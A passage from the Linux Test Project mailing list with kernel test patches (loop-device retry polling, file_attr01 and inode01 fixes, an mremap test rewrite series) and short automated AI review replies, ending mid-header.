 2 files changed, 11 insertions(+), 4 deletions(-)

diff --git a/include/tst_common.h b/include/tst_common.h
index e1f7c7907..d09edbbbe 100644
--- a/include/tst_common.h
+++ b/include/tst_common.h
@@ -26,6 +26,8 @@
 #define LTP_ALIGN(x, a)    __LTP_ALIGN_MASK(x, (typeof(x))(a) - 1)
 #define __LTP_ALIGN_MASK(x, mask)  (((x) + (mask)) & ~(mask))
 
+unsigned int tst_multiply_timeout(unsigned int timeout);
+
 /**
  * TST_RETRY_FUNC() - Repeatedly retry a function with an increasing delay.
  * @FUNC - The function which will be retried
diff --git a/lib/tst_device.c b/lib/tst_device.c
index 744173ffe..00304711b 100644
--- a/lib/tst_device.c
+++ b/lib/tst_device.c
@@ -82,7 +82,7 @@ static int set_dev_path(char *dev, char *path, size_t path_len)
 
 int tst_find_free_loopdev(char *path, size_t path_len)
 {
-	int ctl_fd, dev_fd, rc, i;
+	int ctl_fd, dev_fd, rc, i, path_set;
 	struct loop_info loopinfo;
 	char buf[PATH_MAX];
 
@@ -93,8 +93,13 @@ int tst_find_free_loopdev(char *path, size_t path_len)
 		rc = ioctl(ctl_fd, LOOP_CTL_GET_FREE);
 		close(ctl_fd);
 		if (rc >= 0) {
-			if (path && set_dev_loop_path(rc, path, path_len))
-				tst_brkm(TBROK, NULL, "Could not stat loop device %i", rc);
+			if (path) {
+				path_set = TST_RETRY_FN_EXP_BACKOFF(
+					set_dev_loop_path(rc, path, path_len),
+					TST_RETVAL_EQ0, 1);
+				if (path_set)
+					tst_brkm(TBROK, NULL, "Could not stat loop device %i", rc);
+			}
 			tst_resm(TINFO, "Found free device %d '%s'",
 				rc, path ?: "");
 			return rc;
@@ -161,7 +166,7 @@ int tst_attach_device(const char *dev, const char *file)
 			 LO_NAME_SIZE);
 	}
 
-	dev_fd = open(dev, O_RDWR);
+	dev_fd = TST_RETRY_FN_EXP_BACKOFF(open(dev, O_RDWR), TST_RETVAL_GE0, 1);
 	if (dev_fd < 0) {
 		tst_resm(TWARN | TERRNO, "open('%s', O_RDWR) failed", dev);
 		return 1;
-- 
2.55.0.654.g21b8a5bc05-goog


From wakel@google.com  Fri Aug  7 12:44:42 2026
From: wakel@google.com (Wake Liu)
Date: Fri,  7 Aug 2026 10:44:42 +0000
Subject: [LTP] [PATCH] syscalls/file_attr01: Fix EOPNOTSUPP expectation on
 tmpfs
Message-ID: <20260807104442.2831991-1-wakel@google.com>

The test was expecting EOPNOTSUPP when ufattr is NULL on tmpfs without
xattr support. However, file_setattr() always copy structure from
userspace early (via copy_struct_from_user) and returns EFAULT if the
pointer is invalid, before checking filesystem xattr support.

Therefore, the EOPNOTSUPP exception is only valid for file_getattr()
which does not read from ufattr early.

Restrict the EOPNOTSUPP expectation to file_getattr() (tst_variant != 0)
to avoid false failures on file_setattr().

Signed-off-by: Wake Liu <wakel@google.com>
---
 testcases/kernel/syscalls/file_attr/file_attr01.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testcases/kernel/syscalls/file_attr/file_attr01.c b/testcases/kernel/syscalls/file_attr/file_attr01.c
index 419d54c36..2e6c07d07 100644
--- a/testcases/kernel/syscalls/file_attr/file_attr01.c
+++ b/testcases/kernel/syscalls/file_attr/file_attr01.c
@@ -119,7 +119,7 @@ static void run(unsigned int i)
 	struct tcase *tc = &tcases[i];
 	int exp_errno = tc->exp_errno;
 
-	if (tc->ufattr == (struct file_attr **)(&null_ptr) && missing_tmpfs_xattr)
+	if (tc->ufattr == (struct file_attr **)(&null_ptr) && missing_tmpfs_xattr && tst_variant)
 		exp_errno = EOPNOTSUPP;
 
 	if (tst_variant) {
-- 
2.55.0.654.g21b8a5bc05-goog


From wakel@google.com  Fri Aug  7 12:56:34 2026
From: wakel@google.com (Wake Liu)
Date: Fri,  7 Aug 2026 10:56:34 +0000
Subject: [LTP] [PATCH] inode01: Use uint64_t to prevent inode truncation on
 32-bit
Message-ID: <20260807105634.2837348-1-wakel@google.com>

On 32-bit architectures, ino_t is typically 32-bit, whereas the kernel
and struct stat may support 64-bit inode numbers (e.g. st_ino is
unsigned long long).

The conversion of inode01 to the new API introduced tracking of inodes
in an array of struct inode_info, which used ino_t. This causes 64-bit
inode numbers to be truncated to 32-bit when running as a 32-bit binary
on a filesystem that uses 64-bit inodes.

This truncation can lead to false duplicate inode reports and test
failures.

Fix this by using uint64_t for tracking inode numbers throughout the
test.

Signed-off-by: Wake Liu <wakel@google.com>
---
 testcases/kernel/fs/inode/inode01.c | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/testcases/kernel/fs/inode/inode01.c b/testcases/kernel/fs/inode/inode01.c
index 2816ad61a..d41ff2c62 100644
--- a/testcases/kernel/fs/inode/inode01.c
+++ b/testcases/kernel/fs/inode/inode01.c
@@ -36,7 +36,7 @@ static struct tcase {
 };
 
 struct inode_info {
-	ino_t ino;
+	uint64_t ino;
 	char path[PATH_MAX];
 };
 
@@ -74,7 +74,7 @@ static void record_inode(struct inode_info *inodes, unsigned int idx,
 	snprintf(inodes[idx].path, sizeof(inodes[idx].path), "%s", path);
 }
 
-static ino_t verify_file(const struct tcase *tc, const char *path)
+static uint64_t verify_file(const struct tcase *tc, const char *path)
 {
 	char buf[PATH_MAX];
 	char extra;
@@ -128,7 +128,7 @@ static void verify_tree(const struct tcase *tc, const char *parent,
 	for (i = 0; i < tc->fanout; i++, create_file = !create_file) {
 		char path[PATH_MAX];
 		unsigned int my_id;
-		ino_t ino;
+		uint64_t ino;
 
 		snprintf(path, sizeof(path), "%s/%08u", parent, ++*id);
 
-- 
2.55.0.654.g21b8a5bc05-goog


From linuxtestproject.agent@gmail.com  Fri Aug  7 13:04:12 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Fri,  7 Aug 2026 11:04:12 +0000
Subject: [LTP] inode01: Use uint64_t to prevent inode truncation on
 32-bit
In-Reply-To: <20260807105634.2837348-1-wakel@google.com>
References: <20260807105634.2837348-1-wakel@google.com>
Message-ID: <20260807110412.3995-1-linuxtestproject.agent@gmail.com>

Hi Wake,

On Fri, 07 Aug 2026, Wake Liu wrote:
> inode01: Use uint64_t to prevent inode truncation on 32-bit

> struct inode_info {
> -	ino_t ino;
> +	uint64_t ino;
> 	char path[PATH_MAX];
> };
>
> static void record_inode(struct inode_info *inodes, unsigned int idx,
> 			 const char *path, ino_t ino)

Could the record_inode() parameter also be changed to uint64_t? Every inode
collected by verify_tree() passes through this parameter, so on the 32-bit
ABI described in the commit message the value is still truncated before it
is assigned to the new uint64_t field.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From linuxtestproject.agent@gmail.com  Fri Aug  7 13:04:30 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Fri,  7 Aug 2026 11:04:30 +0000
Subject: [LTP] syscalls/file_attr01: Fix EOPNOTSUPP expectation on tmpfs
In-Reply-To: <20260807104442.2831991-1-wakel@google.com>
References: <20260807104442.2831991-1-wakel@google.com>
Message-ID: <20260807110430.9432-1-linuxtestproject.agent@gmail.com>

Hi Wake,

On Aug 7, 2026, Wake Liu wrote:
> syscalls/file_attr01: Fix EOPNOTSUPP expectation on tmpfs

Verdict - Reviewed

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From linuxtestproject.agent@gmail.com  Fri Aug  7 13:05:41 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Fri,  7 Aug 2026 11:05:41 +0000
Subject: [LTP] lib: Use backoff polling to wait for loop device nodes
In-Reply-To: <20260807100439.2796808-1-wakel@google.com>
References: <20260807100439.2796808-1-wakel@google.com>
Message-ID: <20260807110541.8702-1-linuxtestproject.agent@gmail.com>

Hi Wake,

On Aug 7, 2026, Wake Liu wrote:
> lib: Use backoff polling to wait for loop device nodes

> Introduce an exponential-backoff retry loop in both
> tst_find_free_loopdev() and tst_attach_device() (starting at 1ms delay,
> doubling each try, capped at 100ms) to wait for the device node to be
> successfully populated.

Could the timing description be corrected, or the implementation changed to
match it? TST_RETRY_FN_EXP_BACKOFF() starts tst_delay_ at 1 and passes it to
usleep(), so the first delay is 1 microsecond. MAX_DELAY is converted from
seconds to microseconds, so passing 1 retries for about one second before LTP
timeout scaling, not 100 ms.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From andrea.cervesato@suse.de  Fri Aug  7 14:17:09 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Fri, 07 Aug 2026 14:17:09 +0200
Subject: [LTP] [PATCH v3 0/7] Rewrite mremap testing suite
Message-ID: <20260807-rewrite_mremap_testing_suite-v3-0-dcca6d4ac0f1@suse.com>

This rewrite has been done using multi-agent configuration that is now
present in ltp-agent project.

Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
Changes in v3:
- mremap08: fix according to Cyril review
- Link to v2: https://lore.kernel.org/20260807-rewrite_mremap_testing_suite-v2-0-1760ae8e3b8b@suse.com

Changes in v2:
- mremap05: remove MREMAP_FIXED | MMAP_MAYMOVE
- mremap04: remove SysV stuff
- mremap01: ftruncate every run() cycle
- mremap02: reset bad address when mremap goes well
- Link to v1: https://lore.kernel.org/20260721-rewrite_mremap_testing_suite-v1-0-ec2c3cff6ea4@suse.com

To: Linux Test Project <ltp@lists.linux.it>

---
Andrea Cervesato (7):
      mremap01: Convert to new API
      mremap02: Convert to new API
      mremap03: Convert to new API
      mremap04: Convert to new API
      mremap05: Convert to new API
      mremap08: Extract test from mremap05
      mremap09: Add test for expanding over unmapped gap

 runtest/syscalls                            |   2 +
 testcases/kernel/syscalls/mremap/.gitignore |   2 +
 testcases/kernel/syscalls/mremap/Makefile   |   3 -
 testcases/kernel/syscalls/mremap/mremap01.c | 281 +++++++++-------------------
 testcases/kernel/syscalls/mremap/mremap02.c | 201 +++++---------------
 testcases/kernel/syscalls/mremap/mremap03.c | 203 ++++----------------
 testcases/kernel/syscalls/mremap/mremap04.c | 265 +++++---------------------
 testcases/kernel/syscalls/mremap/mremap05.c | 278 ++++++++-------------------
 testcases/kernel/syscalls/mremap/mremap08.c | 127 +++++++++++++
 testcases/kernel/syscalls/mremap/mremap09.c |  59 ++++++
 10 files changed, 471 insertions(+), 950 deletions(-)
---
base-commit: 12fcadf63a99fc4bec76f9b4715cda626256562f
change-id: 20260720-rewrite_mremap_testing_suite-da09a8bc836a

Best regards,
--  
Andrea Cervesato <andrea.cervesato@suse.com>


From andrea.cervesato@suse.de  Fri Aug  7 14:17:10 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Fri, 07 Aug 2026 14:17:10 +0200
Subject: [LTP] [PATCH v3 1/7] mremap01: Convert to new API
In-Reply-To: <20260807-rewrite_mremap_testing_suite-v3-0-dcca6d4ac0f1@suse.com>
References: <20260807-rewrite_mremap_testing_suite-v3-0-dcca6d4ac0f1@suse.com>
Message-ID: <20260807-rewrite_mremap_testing_suite-v3-1-dcca6d4ac0f1@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Convert the test to the new LTP API (tst_test.h) using a semantic
rewrite. The test verifies that mremap() with MREMAP_MAYMOVE can grow a
file-backed MAP_SHARED mapping, that the grown region is fully usable,
and that its contents synchronize to the backing file via msync().

The mapping work is performed per-iteration so that '-i' runs always
grow a freshly created mapping instead of an already-grown one.

Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 testcases/kernel/syscalls/mremap/mremap01.c | 281 +++++++++-------------------
 1 file changed, 85 insertions(+), 196 deletions(-)

diff --git a/testcases/kernel/syscalls/mremap/mremap01.c b/testcases/kernel/syscalls/mremap/mremap01.c
index 8c241d45c..c6f2cb6a9 100644
--- a/testcases/kernel/syscalls/mremap/mremap01.c
+++ b/testcases/kernel/syscalls/mremap/mremap01.c
@@ -1,237 +1,126 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
+ * Copyright (c) Linux Test Project, 2026
  */
 
-/*
- * Test Name: mremap01
- *
- * Test Description:
- *  Verify that, mremap() succeeds when used to expand the existing
- *  virtual memory mapped region to the requested size where the
- *  virtual memory area was previously mapped to a file using mmap().
+/*\
+ * Verify that :manpage:`mremap(2)` succeeds when used to expand an existing
+ * virtual memory region that was previously mapped to a file with
+ * :manpage:`mmap(2)`.
  *
- * Expected Result:
- *  mremap() should succeed returning the address of new virtual memory area.
- *  The expanded mapped memory region should be accessible and able to
- *  synchronize with the file.
+ * After growing the mapping with ``MREMAP_MAYMOVE``, the expanded region must
+ * be fully accessible and its contents must synchronize to the backing file
+ * with :manpage:`msync(2)`.
  *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Create temporary directory.
- *   Pause for SIGUSR1 if option specified.
+ * [Algorithm]
  *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *	Log the errno and Issue a FAIL message.
- *   Otherwise,
- *	Verify the Functionality of system call
- *      if successful,
- *		Issue Functionality-Pass message.
- *      Otherwise,
- *		Issue Functionality-Fail message.
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
- *   Delete the temporary directory created.
- *
- * Usage:  <for command-line>
- *  mremap01 [-c n] [-f] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -f   : Turn off functionality Testing.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -P x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
- *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- *      11/09/2001 Manoj Iyer (manjo@austin.ibm.com)
- *	Modified.
- *	- #include <linux/mman.h> should not be included as per man page for
- *	  mremap, #include <sys/mman.h> alone should do the job. But inorder
- *	  to include definition of MREMAP_MAYMOVE defined in bits/mman.h
- *	  (included by sys/mman.h) __USE_GNU needs to be defined.
- *	  There may be a more elegant way of doing this...
- *
- * RESTRICTIONS:
- *  None.
+ * - create a temporary file and stretch it to the initial mapping size
+ * - map the file with ``MAP_SHARED`` and ``PROT_WRITE``
+ * - stretch the file to the new (larger) size before growing the mapping
+ * - grow the mapping with mremap() and ``MREMAP_MAYMOVE``
+ * - write every byte of the grown region to prove it is usable
+ * - synchronize the region to the backing file with ``MS_SYNC``
+ * - read the data back from the backing file to prove it was synchronized
  */
 
 #define _GNU_SOURCE
-#include <unistd.h>
 #include <errno.h>
 #include <sys/mman.h>
-#include <fcntl.h>
-
-#include "test.h"
-#include "tso_safe_macros.h"
+#include "tst_test.h"
+#include "tst_safe_prw.h"
 
 #define TEMPFILE	"mremapfile"
 
-char *TCID = "mremap01";
-int TST_TOTAL = 1;
-char *addr;			/* addr of memory mapped region */
-int memsize;			/* memory mapped size */
-int newsize;			/* new size of virtual memory block */
-int fildes;			/* file descriptor for tempfile */
-
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
+static char *addr = MAP_FAILED;
+static size_t memsize;
+static size_t newsize;
+static int fildes = -1;
 
-int main(int ac, char **av)
+static void setup(void)
 {
-	int ind;		/* counter variable */
+	int pagesz = getpagesize();
 
-	tst_parse_opts(ac, av, NULL, NULL);
+	memsize = 1000 * pagesz;
+	newsize = memsize * 2;
 
-	tst_count = 0;
+	fildes = SAFE_OPEN(TEMPFILE, O_RDWR | O_CREAT, 0666);
+}
 
-	setup();
+static int verify_file(void)
+{
+	size_t offsets[3];
+	unsigned int i;
+	char got;
 
-	/*
-	 * Call mremap to expand the existing mapped
-	 * memory region (memsize) by newsize limits.
-	 */
-	addr = mremap(addr, memsize, newsize, MREMAP_MAYMOVE);
+	offsets[0] = 0;
+	offsets[1] = newsize / 2;
+	offsets[2] = newsize - 1;
 
-	/* Check for the return value of mremap() */
-	if (addr == MAP_FAILED)
-		tst_brkm(TFAIL | TERRNO, cleanup, "mremap failed");
+	for (i = 0; i < ARRAY_SIZE(offsets); i++) {
+		size_t off = offsets[i];
 
-	/*
-	 * Attempt to initialize the expanded memory
-	 * mapped region with data. If the map area
-	 * was bad, we'd get SIGSEGV.
-	 */
-	for (ind = 0; ind < newsize; ind++) {
-		addr[ind] = (char)ind;
-	}
+		SAFE_PREAD(1, fildes, &got, 1, (off_t)off);
 
-	/*
-	 * Memory mapped area is good. Now, attempt
-	 * to synchronize the mapped memory region
-	 * with the file.
-	 */
-	if (msync(addr, newsize, MS_SYNC) != 0) {
-		tst_resm(TFAIL | TERRNO, "msync failed to synch "
-			 "mapped file");
-	} else {
-		tst_resm(TPASS, "Functionality of "
-			 "mremap() is correct");
+		if (got != (char)off) {
+			tst_res(TFAIL, "file[%zu] == 0x%02x, expected 0x%02x",
+				off, (unsigned char)got, (unsigned char)off);
+			return 1;
+		}
 	}
 
-	cleanup();
-	tst_exit();
+	return 0;
 }
 
-/*
- * void
- * setup() - performs all ONE TIME setup for this test.
- *
- * Get system page size, Set the size of virtual memory area and the
- * new size after resize,
- * Creat a temporary directory and a file under it.
- * Stratch the file size to the size of virtual memory area and
- * write 1 byte (\0). Map the temporary file for the length of virtual
- * memory (memsize) into memory.
- */
-void setup(void)
+static void run(void)
 {
-	int pagesz;		/* system's page size */
-
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
-
-	/* Get the system page size */
-	if ((pagesz = getpagesize()) < 0) {
-		tst_brkm(TFAIL, NULL,
-			 "getpagesize failed to get system page size");
-	}
+	size_t ind;
 
-	/* Get the size of virtual memory area to be mapped */
-	memsize = (1000 * pagesz);
-
-	/* Get the New size of virtual memory block after resize */
-	newsize = (memsize * 2);
-
-	tst_tmpdir();
+	/*
+	 * Establish a fresh memsize mapping for every iteration so mremap()
+	 * always grows a newly created mapping instead of an already-grown one.
+	 */
+	SAFE_FTRUNCATE(fildes, 0);
+	SAFE_LSEEK(fildes, (off_t)memsize, SEEK_SET);
+	SAFE_WRITE(SAFE_WRITE_ALL, fildes, "\0", 1);
 
-	/* Creat a temporary file used for mapping */
-	if ((fildes = open(TEMPFILE, O_RDWR | O_CREAT, 0666)) < 0)
-		tst_brkm(TBROK | TERRNO, cleanup, "opening %s failed",
-			 TEMPFILE);
+	addr = SAFE_MMAP(0, memsize, PROT_READ | PROT_WRITE, MAP_SHARED,
+			 fildes, 0);
 
-	/* Stretch the file to the size of virtual memory area */
-	if (lseek(fildes, (off_t) memsize, SEEK_SET) != (off_t) memsize) {
-		tst_brkm(TBROK | TERRNO, cleanup,
-			 "lseeking to %d offset pos. failed", memsize);
-	}
+	SAFE_LSEEK(fildes, (off_t)newsize, SEEK_SET);
+	SAFE_WRITE(SAFE_WRITE_ALL, fildes, "\0", 1);
 
-	/* Write one byte data into temporary file */
-	if (write(fildes, "\0", 1) != 1) {
-		tst_brkm(TBROK, cleanup, "writing to %s failed", TEMPFILE);
-	}
+	TESTPTR(mremap(addr, memsize, newsize, MREMAP_MAYMOVE));
+	addr = TST_RET_PTR;
+	if (addr == MAP_FAILED)
+		tst_brk(TFAIL | TTERRNO, "mremap failed");
 
-	/*
-	 * Call mmap to map virtual memory (memsize bytes) from the
-	 * beginning of temporary file (offset is 0) into memory.
-	 */
-	addr = mmap(0, memsize, PROT_WRITE, MAP_SHARED, fildes, 0);
+	for (ind = 0; ind < newsize; ind++)
+		addr[ind] = (char)ind;
 
-	/* Check for the return value of mmap() */
-	if (addr == (char *)MAP_FAILED) {
-		tst_brkm(TBROK, cleanup, "mmaping Failed on %s", TEMPFILE);
-	}
+	SAFE_MSYNC(addr, newsize, MS_SYNC);
 
-	/* Stretch the file to newsize of virtual memory block */
-	if (lseek(fildes, (off_t) newsize, SEEK_SET) != (off_t) newsize) {
-		tst_brkm(TBROK, cleanup, "lseek() to %d offset pos. Failed, "
-			 "error=%d : %s", newsize, errno, strerror(errno));
-	}
+	if (verify_file())
+		tst_res(TFAIL, "mremap()'d region did not sync to the file");
+	else
+		tst_res(TPASS, "Functionality of mremap() is correct");
 
-	/* Write one byte data into temporary file */
-	if (write(fildes, "\0", 1) != 1) {
-		tst_brkm(TBROK | TERRNO, cleanup, "writing to %s failed",
-			 TEMPFILE);
-	}
+	SAFE_MUNMAP(addr, newsize);
 }
 
-/*
- * void
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- *	       Unmap the mapped memory area done in the test.
- *	       Close the temporary file.
- *	       Remove the temporary directory.
- */
-void cleanup(void)
+static void cleanup(void)
 {
+	if (addr != MAP_FAILED)
+		SAFE_MUNMAP(addr, newsize);
 
-	/* Unmap the mapped memory */
-	if (munmap(addr, newsize) != 0)
-		tst_brkm(TBROK | TERRNO, NULL, "munmap failed");
-
-	/* Close the temporary file */
-	SAFE_CLOSE(NULL, fildes);
-
-	tst_rmdir();
+	if (fildes != -1)
+		SAFE_CLOSE(fildes);
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+	.needs_tmpdir = 1,
+};

-- 
2.51.0


From andrea.cervesato@suse.de  Fri Aug  7 14:17:12 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Fri, 07 Aug 2026 14:17:12 +0200
Subject: [LTP] [PATCH v3 3/7] mremap03: Convert to new API
In-Reply-To: <20260807-rewrite_mremap_testing_suite-v3-0-dcca6d4ac0f1@suse.com>
References: <20260807-rewrite_mremap_testing_suite-v3-0-dcca6d4ac0f1@suse.com>
Message-ID: <20260807-rewrite_mremap_testing_suite-v3-3-dcca6d4ac0f1@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

Convert the mremap03 test case from the legacy LTP API to the new
tst_test API.

Rewrite the test to use TST_EXP_FAIL_PTR_VOID() to verify that
mremap() fails with MAP_FAILED and EFAULT when growing a mapping
whose old_address refers to an unmapped region obtained via
tst_get_bad_addr().

Reviewed-by: Cyril Hrubis <chrubis@suse.cz>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
 testcases/kernel/syscalls/mremap/mremap03.c | 203 +++++-----------------------
 1 file changed, 34 insertions(+), 169 deletions(-)

diff --git a/testcases/kernel/syscalls/mremap/mremap03.c b/testcases/kernel/syscalls/mremap/mremap03.c
index 02b79bc47..6003657d4 100644
--- a/testcases/kernel/syscalls/mremap/mremap03.c
+++ b/testcases/kernel/syscalls/mremap/mremap03.c
@@ -1,187 +1,52 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
 /*
- *
- *   Copyright (c) International Business Machines  Corp., 2001
- *
- *   This program is free software;  you can redistribute it and/or modify
- *   it under the terms of the GNU General Public License as published by
- *   the Free Software Foundation; either version 2 of the License, or
- *   (at your option) any later version.
- *
- *   This program is distributed in the hope that it will be useful,
- *   but WITHOUT ANY WARRANTY;  without even the implied warranty of
- *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- *   the GNU General Public License for more details.
- *
- *   You should have received a copy of the GNU General Public License
- *   along with this program;  if not, write to the Free Software
- *   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * Copyright (c) International Business Machines Corp., 2001
+ * 07/2001 Ported by Wayne Boyer
+ * 11/2001 Modified by Manoj Iyer <manjo@austin.ibm.com>
+ * Copyright (c) Linux Test Project, 2026
  */
 
-/*
- * Test Name: mremap03
- *
- * Test Description:
- *  Verify that,
- *   mremap() fails when used to expand the existing virtual memory mapped
- *   region to the requested size, if there already exists mappings that
- *   cover the whole address space requsted or the old address specified was
- *   not mapped.
- *
- * Expected Result:
- *  mremap() should return -1 and set errno to EFAULT.
- *
- * Algorithm:
- *  Setup:
- *   Setup signal handling.
- *   Pause for SIGUSR1 if option specified.
- *
- *  Test:
- *   Loop if the proper options are given.
- *   Execute system call
- *   Check return code, if system call failed (return=-1)
- *	if errno set == expected errno
- *		Issue sys call fails with expected return value and errno.
- *	Otherwise,
- *		Issue sys call fails with unexpected errno.
- *   Otherwise,
- *	Issue sys call returns unexpected value.
- *
- *  Cleanup:
- *   Print errno log and/or timing stats if options given
+/*\
+ * Verify that :manpage:`mremap(2)` fails with errno ``EFAULT`` when it is used
+ * to expand a mapping whose ``old_address`` refers to a region that is not
+ * mapped.
  *
- * Usage:  <for command-line>
- *  mremap03 [-c n] [-e] [-i n] [-I x] [-P x] [-t]
- *     where,  -c n : Run n copies concurrently.
- *             -e   : Turn on errno logging.
- *	       -i n : Execute test n times.
- *	       -I x : Execute test for x seconds.
- *	       -p x : Pause for x seconds between iterations.
- *	       -t   : Turn on syscall timing.
+ * [Algorithm]
  *
- * HISTORY
- *	07/2001 Ported by Wayne Boyer
- *
- *      11/09/2001 Manoj Iyer (manjo@austin.ibm.com)
- *      Modified.
- *      - #include <linux/mman.h> should not be included as per man page for
- *        mremap, #include <sys/mman.h> alone should do the job. But inorder
- *        to include definition of MREMAP_MAYMOVE defined in bits/mman.h
- *        (included by sys/mman.h) __USE_GNU needs to be defined.
- *        There may be a more elegant way of doing this...
- *
- *
- * RESTRICTIONS:
- *  None.
+ * - Obtain an unmapped address via ``tst_get_bad_addr()``.
+ * - Call mremap() to grow it to twice its size with ``MREMAP_MAYMOVE``,
+ *   passing the unmapped ``old_address``.
+ * - Expect the call to fail with ``MAP_FAILED`` and ``EFAULT``.
  */
+
 #define _GNU_SOURCE
-#include <errno.h>
-#include <unistd.h>
-#include <fcntl.h>
 #include <sys/mman.h>
+#include "tst_test.h"
 
-#include "test.h"
-
-char *TCID = "mremap03";
-int TST_TOTAL = 1;
-static char *bad_addr;
-static char *addr;		/* addr of memory mapped region */
-int memsize;			/* memory mapped size */
-int newsize;			/* new size of virtual memory block */
+static long page_size;
+static size_t memsize;
+static size_t newsize;
+static void *bad_addr;
 
-void setup();			/* Main setup function of test */
-void cleanup();			/* cleanup function for the test */
-
-int main(int ac, char **av)
+static void setup(void)
 {
-	int lc;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-
-		tst_count = 0;
-
-		/*
-		 * Attempt to expand the existing mapped
-		 * memory region (memsize) by newsize limits
-		 * using mremap() should fail as specified old
-		 * virtual address was not mapped.
-		 */
-		errno = 0;
-		addr = mremap(bad_addr, memsize, newsize, MREMAP_MAYMOVE);
-		TEST_ERRNO = errno;
-
-		/* Check for the return value of mremap() */
-		if (addr != MAP_FAILED) {
-			tst_resm(TFAIL,
-				 "mremap returned invalid value, expected: -1");
-
-			/* Unmap the mapped memory region */
-			if (munmap(addr, newsize) != 0) {
-				tst_brkm(TFAIL, cleanup, "munmap fails to "
-					 "unmap the expanded memory region, "
-					 " error=%d", errno);
-			}
-			continue;
-		}
-
-		/* Check for the expected errno */
-		if (errno == EFAULT) {
-			tst_resm(TPASS, "mremap() Fails, 'old region not "
-				 "mapped', errno %d", TEST_ERRNO);
-		} else {
-			tst_resm(TFAIL, "mremap() Fails, "
-				 "'Unexpected errno %d", TEST_ERRNO);
-		}
-	}
-
-	cleanup();
-	tst_exit();
+	page_size = getpagesize();
+	memsize = 1000 * page_size;
+	newsize = 2 * memsize;
 
+	bad_addr = tst_get_bad_addr(NULL);
 }
 
-/*
- * setup() - performs all ONE TIME setup for this test.
- *
- * Get system page size.
- * Set the old address point some high address which is not mapped.
- */
-void setup(void)
+static void run(void)
 {
-	int page_sz;		/* system page size */
-
-	tst_sig(FORK, DEF_HANDLER, cleanup);
-
-	TEST_PAUSE;
+	TST_EXP_FAIL_PTR_VOID(mremap(bad_addr, memsize, newsize,
+				     MREMAP_MAYMOVE), EFAULT);
 
-	/* Get the system page size */
-	if ((page_sz = getpagesize()) < 0) {
-		tst_brkm(TFAIL, NULL,
-			 "getpagesize() fails to get system page size");
-	}
-
-	/* Get the size of virtual memory area to be mapped */
-	memsize = (1000 * page_sz);
-
-	/* Get the New size of virtual memory block after resize */
-	newsize = (memsize * 2);
-
-	/*
-	 * Set the old virtual address point to some address
-	 * which is not mapped.
-	 */
-	bad_addr = tst_get_bad_addr(cleanup);
+	if (TST_RET_PTR != MAP_FAILED)
+		SAFE_MUNMAP(TST_RET_PTR, newsize);
 }
 
-/*
- * cleanup() - performs all ONE TIME cleanup for this test at
- *             completion or premature exit.
- */
-void cleanup(void)
-{
-
-	/* Exit the program */
-
-}
+static struct tst_test test = {
+	.setup = setup,
+	.test_all = run,
+};

-- 
2.51.0


From andrea.cervesato@suse.de  Fri Aug  7 14:17:13 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Fri, 07 Aug 2026 14:17:13 +0200
Subject: [LTP] [PATCH v3 4/7] mremap04: Convert to new API
In-Reply-To: <20260807-rewrite_mremap_testing_suite-v3-0-dcca6d4ac0f1@suse.com>
References: <20260807-rewrite_mremap_testing_suite-v3-0-dcca6d4ac0f1@suse.com>
